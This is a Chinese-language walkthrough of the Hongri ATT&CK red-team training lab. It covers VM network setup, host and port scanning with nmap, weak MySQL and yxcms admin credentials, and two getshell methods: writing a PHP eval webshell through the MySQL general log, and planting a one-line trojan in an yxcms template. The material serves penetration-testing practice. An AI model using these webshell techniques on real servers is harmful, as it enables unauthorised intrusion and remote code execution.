ATT&CK 红队实战(一)1
0x01 环境搭建
红日安全团队提供的靶机都是虚拟机形式,需要对虚拟机网络进行一定的配置。关于VMware的几种网络模式的原理和区别,可以参考这篇文章——VMware网络连接模式——桥接模式、NAT模式以及仅主机模式的介绍和区别 介绍非常详细,通俗易懂。
我们下载完靶机有三个压缩包,对应三个虚拟机:
VM1为win7,VM2为winserver 2003即win2k3,VM3为winserver 2008
可以看到VM1是通外网的Web服务器,VM2和VM3是内网环境,与外网隔绝,只可以通过VM1进行访问。
一要营造一个内网环境(包括VM1,VM2,VM3),因此需要将虚拟机与外网隔绝,在VMware中可以通过虚拟机设置中的网络适配器来设置,设置成仅主机模式放到一个VMnet中即可实现三台主机在一个内网。
二要使得VM1能够访问外网,所以需要给VM1添加一个网卡,设置成NAT模式。
所以最终我给VM1(win7) 设置两个网卡,一个自定义连接到VMnet1(仅主机模式),另一个连接模式为NAT,方便连接外网。VM2(winserver2k3)和VM3(winserver2008)
0x02 启动靶机和服务
将三个靶机都启动,此时需要占用较大的内存,建议将其他应用关闭,另外电脑配置最好能在16G及以上。
密码都是 hongrisec@2019
,可能会提醒你修改密码,修改后务必记住自己的密码。
进入win7 启动phpstudy。
发现三台主机都是固定IP的,是在192.168.52.0/24段
可以通过三台主机之前进行ping测试,测试能通后,可以正式开始练习了。如果遇到NAT(比如主机和同网段的kali)ping不通win7的情况,试着关闭防火墙再试试
0x03 拿下Web服务器
上述基本完成后,我们可以正式开始本次靶机渗透之旅
3.1 信息收集
本机kali的地址为:192.168.237.137
搜索同段的主机,再针对性的使用nmap进行服务端口扫描
1 | netdiscover -i eth0 -r 192.168.237.0/24 |
或者直接使用nmap扫描同一C段:
1 | nmap -sP 192.168.237.0/24 # -sP ping方式探测存活主机 |
1 | nmap -sC -sV -Pn -p 1-65535 192.168.237.136 # -sC默认脚本 -sV 服务版本 -p指定端口 |
3.2 漏洞利用
发现80 端口开放,进行访问,是一个php探针页面,结合信息收集阶段得到phpstudy的信息,可以确定是一个phpstudy的集成环境。
网站的绝对路径:C:/phpStudy/www/
此时,有两种攻击方案:
- phpstudy 后门
- 看看MySQL能不能连进去
测试发现使用的版本恰好没有后门文件可以利用。尝试第二种方式,测试MySQL外连和登录密码。这里出题比较简单,直接是弱口令,root/root
就可以连进去,而且是可以外连的。
使用dirmap或者御剑扫描web目录,发现phpmyAdmin
和beifen.rar
(如果是没有弱口令,从备份文件中找配置也是一个突破口)
备份文件是一个yxcms的源码:
在全文搜索admin之后,发现后台默认的用户名和密码:admin/123456
发现后台地址:/index.php?r=admin
接下来,又有两种攻击方案可以选择:
- 利用phpMyAdmin漏洞进行getshell或者利用MySQL写Shell
- 继续跟进yxcms
因为是练习嘛,我们都尝试一遍。
3.2.1 mysql日志写shell
先看一下有没有写权限:
1 | show variables like '%secure%'; |
secure_file_priv ==''
为空说明有任意目录的写权限,非空则只能在对应目录读文件,这里的非空包括NULL
。所以这里没有写权限,无法直接写shell。
因为在mysql 5.6.34版本以后 secure_file_priv
的值默认为NULL
。并且无法用sql语句对其进行修改,只能够通过以下方式修改
windows下:
修改mysql.ini
文件,在[mysqld]
下添加条目: secure_file_priv =
保存,重启mysql。
Linux下:
在/etc/my.cnf
的[mysqld]
下面添加local-infile=0
选项。
这里无法直接写shell,那我们来尝试日志写 shell
,开启日志记录
1 | set global general_log = "ON"; # 开启日志记录 |
进行一次查询,查询记录就将写到日志文件中,形成一个webshell。
1 | SELECT '<?php eval($_POST["a"]);?>' |
使用蚁剑连接,getshell
3.2.2 通过yxcms getshell
利用之前得到的一些信息,登录后台
1 | 后台地址:/index.php?r=admin |
看看有没有上传或者什么可以写入shell的地方。可以通过Seay审计工具来进行比较细致的审计 ,不过我们不用工具,也容易找到前台模板的管理页面存在编辑功能,明显的写shell的地方。
比如随便找一个模板进行修改,插入一句话木马(虽然是随便找的,但是需要知道,这个模板在哪个网页执行)
这个很明显就在index.php
处的搜索功能。
比如我们随便搜索一个关键词,就会触发这个shell。再或者通过下载下来的备份文件搜索这个文件,直接访问到这个文件的路径也可以拿下shell
1 | http://192.168.237.136/yxcms/index.php?r=default%2Findex%2Fsearch&keywords=q&type=all |